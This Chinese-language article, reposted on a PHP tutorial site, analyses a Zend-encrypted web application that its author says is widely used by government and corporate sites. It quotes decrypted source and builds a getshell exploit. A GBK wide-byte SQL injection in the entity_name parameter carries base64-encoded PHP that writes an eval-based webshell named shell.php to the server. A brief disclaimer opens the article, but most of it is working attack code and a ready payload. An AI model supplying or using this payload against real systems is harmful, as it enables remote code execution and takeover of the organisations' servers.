来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 声明:此程序应用于非常多的政府机构, 教育机构, 以及各大一流公司(中国电信等)!请各位看完本文后不要试图对任何使用本程序的网站进行破坏攻击入侵等 本人发此贴纯属技术交流探讨...
单独的
声明: 此程序应用于非常多的政府机构, 教育机构, 以及各大一流公司(中国电信等)!
请各位看完本文后不要试图对任何使用本程序的网站进行破坏攻击入侵等...
本人发此贴纯属技术交流探讨, 并无怂恿别人去尝试攻击的意思!
若不接受以上条件的请自觉关闭, 由此产生的后果与作者(本人)无关!
听说土司要送书了, 还是凑凑分子吧, 当然书我是不会要的, 留给需要的人吧~
因为要帮某同学找回面子, 所以读了下此程序, 因为这个程序是一个安装包, 安装后集成了mysql和apache, 并且代码是zend加密的, 所以要先解密才能读, 废话不多说, 进入正题吧~ 正文:
此程序通篇的gbk编码是他的硬伤, 基本上80%的SQL语句都能控制, 但是由于在进入数据库的时候检测了select和union, 而且此程序加密方式也很蛋疼, 所以注入方面就不考虑了. // inc/conn.php[/color] function exequery( $C, $Q, $LOG = FALSE ){ if ( !$LOG ){ $POS = stripos( $Q, "union" ); //检测union if ( $POS !== FALSE && stripos( $Q, "select", $POS ) !== FALSE ){ //union存在再检测select exit( ); } $POS = stripos( $Q, "into" ); //检测into outfile if ( $POS !== FALSE && ( stripos( $Q, "outfile", $POS ) !== FALSE || stripos( $Q, "dumpfile", $POS ) !== FALSE ) ){ exit( ); } } if ( gettype( $C ) != "resource" ){ printerror( _( "无效的数据库连接" )."<b>"._( "SQL语句:" )."</b> ".$Q, $LOG ); return FALSE; } $cursor = @mysql_query( $Q, $C ); if ( !$cursor ){ printerror( "<b>"._( "SQL语句:" )."</b> ".$Q, $LOG ); } return $cursor; } 注入放弃的话那就必须得找点杀伤力大的东西了, 首先想到的就是getshell, 经过一翻观察, 此程序的getshell还是非常多的, 并且此程序基本上没用到类, 简而言之就是一个功能一个文件 = = 够蛋疼了吧, 怪不得文件多的一逼...
继续观察, 就发现了这么一个函数 笑嘻嘻.. //general\crm\studio\modules\EntityRelease\CreateIndexFile.php function createIndex( $ENTITY_NAME, $APP_PATH ){ global $ROOT_PATH; $filePath = $ROOT_PATH."general/".$APP_PATH; if ( !file_exists( $filePath ) ){ mkdir( $filePath, 448 ); } $fileName = $filePath."/index.php"; $file = fopen( $fileName, "w" ); $fileContent = createindexcontent( $ENTITY_NAME );//关键 fwrite( $file, $fileContent ); fclose( $file ); createopjs( $filePath ); }
并且general\crm\studio\modules\EntityRelease\目录下还有以下文件全都有这种类似的函数:
CreateDeleteFile.php, CreateDetailFile.php, CreateEditFile.php, CreateFastUpdateFile.php, CreateUpdateFile.php 这些其实都是可以getshell的, 这里就主要讲CreateIndexFile.php文件的getshell
我们继续看createindexcontent函数, 因为文件的内容是由这个函数返回的: // general\crm\studio\modules\EntityRelease\CreateIndexFile.php[/color] function createIndexContent( $ENTITY_NAME ){ $fileStr .= createindexphpheader( $ENTITY_NAME ); $fileStr .= createindexhtml( ); return $fileStr; } 继续看createindexphpheader函数, 看到到底是怎么处理值的: // general\crm\studio\modules\EntityRelease\CreateIndexFile.php function createIndexPHPHeader( $ENTITY_NAME ){[/color] $fileStr .= "<?php\r\n\tinclude_once(\"general/crm/apps/crm/header.php\");\r\n\tinclude_once(\$g_CRM_PATH.\"/include/interface/list.interface.php\");\r\n\tinclude_once(\$g_STUDIO_PATH.\"/include/utility.ui.php\");\r\n\tinclude_once(\$g_PLATFORM_PATH.\"/base/auth.func.php\");\r\n\tinclude_once(\$g_STUDIO_PATH.\"/include/entity.class.php\");\r\n\tinclude_once(\$g_STUDIO_PATH.\"/include/entityAction.php\");\r\n\tinclude_once(\$g_STUDIO_PATH.\"/include/conditional.php\");\r\n\tinclude_once(\"inc/utility_org.php\");\r\n\tinclude_once(\"inc/utility_file.php\");\r\n\tinclude_once(\$g_CRM_PATH.\"/include/general.func.php\");\r\n\t[/color]\$ENTITY = \"".$ENTITY_NAME."\";\r\n\tif(\$USER_VIEW == \"\"){\r\n\t\t\$USER_VIEW = getDefaultUView(\$ENTITY, \$LOGIN_USER_ID); //创建默认视图未处理\r\n\t}\r\n\t\$ModuleInfoArr = getModuleInfo(\$ENTITY);\r\n\t\$FieldDetialInfoARR = FieldDetialInfo(\$USER_VIEW);\r\n\t\$WHERE_CLAUSE = getWhereSQL(\$_SERVER['QUERY_STRING']);\r\n\t\$MODULE_ACTION = getModuleActionStr(\$ENTITY, \$USER_VIEW);\r\n\t\$MODULE_NORMAL_STR = getModuleNormalSearchStr(\$ENTITY);\r\n\t\$views = getUserViewList(\$ENTITY, \$LOGIN_USER_ID, \$LOGIN_DEPT_ID, \$LOGIN_USER_PRIV);\r\n\t\$VIEW_OPTION_TMPL = getViewSelOptionTmpl(\$views, \$USER_VIEW);\r\n\t\$PAGE_SIZE = \$_GET[\"PAGE_SIZE\"] == \"\" ? 10 : \$_GET[\"PAGE_SIZE\"];\r\n\t\$query = getViewQueryCountSQL(\$USER_VIEW, \$ENTITY, \$WHERE_CLAUSE, \$EXTENSION_AUTHORITY_CLAUSE);\r\n\t\$cursor = exequery(\$connection, \$query);\r\n\tif(\$result = mysql_fetch_array(\$cursor)){\r\n\t\t\$TOTAL_SIZE = \$result[0];\r\n\t}\r\n\t\$TOTAL_PAGE = ceil(\$TOTAL_SIZE/\$PAGE_SIZE);\r\n\tif(\$CUR_PAGE < 1){ \$CUR_PAGE = 1; }\r\n\tif(\$CUR_PAGE > \$TOTAL_PAGE){ \$CUR_PAGE = \$TOTAL_PAGE; }\r\n\t\$query = getViewQuerySQL(\$USER_VIEW, \$ENTITY, \$PAGE_SIZE, \$CUR_PAGE, \$ORDERFIELD, \$ORDERTYPE, \r\n\t\$WHERE_CLAUSE, \$CONFIGARR, \$EXTENSION_AUTHORITY_CLAUSE);\r\n\t\$cursor = exequery(\$connection, \$query);\r\n\r\n\t\$LIST_VIEW_DATA_HEAD_TMPL = getListViewHeaderTmpl(\$FieldDetialInfoARR, \$ORDERFIELD, \$ORDERTYPE, \$CONFIGARR);\r\n\t\$colorSchema = getColorSchema(\$USER_VIEW);\r\n\t\$LIST_VIEW_DATA_BODY_TMPL = getListViewDataBodyTmpl(\$cursor, \$FieldDetialInfoARR, \$colorSchema, \$PAGE_SIZE);\r\n\t\$QuickLinkStr = getModuleQuickLinkStr();\r\n\t\$RevisionHistoryStr = getModuleRevisionHistoryStr(\$ENTITY, \$EXTENSION_AUTHORITY_CLAUSE);\r\n\t\$FastNewStr = getModuleFastNewStr(\$ENTITY);\r\n?>\r\n"; return $fileStr; 忽略其他垃圾字符, 老夫的钛合金狗眼立马就看到了\$ENTITY = \"".$ENTITY_NAME."\";, 好了, 既然文件里面有这一串赋值, 并且是在双引号里面, 那神马都好办了~~ 搜索发现同为general\crm\studio\modules\EntityRelease\目录的release.php文件调用了createIndex函数 // general\crm\studio\modules\EntityRelease\release.php[/color] include_once( "general/crm/studio/header.php" ); include_once( "file.func.php" ); include_once( $g_STUDIO_PATH."/include/entity.class.php" ); if ( $entity_name != "" ){ $APP_PATH = getapppath( $entity_name );//取得路径 if ( $APP_PATH == "" ){ message( "", _( "未找到发布路径!" ) ); echo "<center><input type=\"button\" class=\"BigButton\" value="._( "返回" )." onclick=\"window.location.href='./index.php'\"></center>"; exit( ); } include_once( "CreateIndexFile.php" ); createindex( $entity_name, $APP_PATH ); // GETSHELL include_once( "CreateEditFile.php" ); createeditfile( $entity_name, $APP_PATH ); include_once( "CreateUpdateFile.php" ); createupdatefile( $entity_name, $APP_PATH ); include_once( "CreateDetailFile.php" ); createdetailfile( $entity_name, $APP_PATH ); include_once( "CreateFastUpdateFile.php" ); createfastupdatefile( $entity_name, $APP_PATH ); include_once( "CreateDeleteFile.php" ); createdeletefile( $entity_name, $APP_PATH ); }
可以看到这里要先用getapppath函数获取文件路径, 如果获取失败也就不能getshell了, 那就来看看getapppath函数长什么样子吧 -.- // general\crm\studio\modules\EntityRelease\file.func.php[/color] function getAppPath( $entity_name ){ global $connection; $query = "select sys_function.FUNC_CODE as FUNC_CODE from sys_function,crm_sys_entity where sys_function.FUNC_ID = crm_sys_entity.menu_id and crm_sys_entity.entity_name = '".$entity_name."'"; $cursor = exequery( $connection, $query ); if ( $row = mysql_fetch_array( $cursor ) ){ $APP_PATH = $row['FUNC_CODE']; } return $APP_PATH; }
那么我们现在要把代码写进email目录, 那自然就要把sql语句构造成这样才醒 select sys_function.FUNC_CODE as FUNC_CODE from sys_function,crm_sys_entity where sys_function.FUNC_ID = crm_sys_entity.menu_id and crm_sys_entity.entity_name = '1' or sys_function.FUNC_ID=1 可能有童鞋会说你丫说个蛋吧, 有引号包围, 你还构造个JB -.-
亲们俺前面就说此程序通篇gbk, so... 相信大家都懂了~~~
但是这里问题来了$entity_name作为SQL语句里面的值, 同时也是写入文件的时候我们要写入的代码, 所以这里必须要同时满足SQL执行成功并且加入我们的php代码, 那么$entity_name我们就得这样来构造了~ entity_name=1%d5' or sys_function.FUNC_ID=1# ${ fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))} 这样整个SQL语句实际上就变成了 select sys_function.FUNC_CODE as FUNC_CODE from sys_function,crm_sys_entity where sys_function.FUNC_ID = crm_sys_entity.menu_id and crm_sys_entity.entity_name = '1誠' or sys_function.FUNC_ID=1# ${ fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com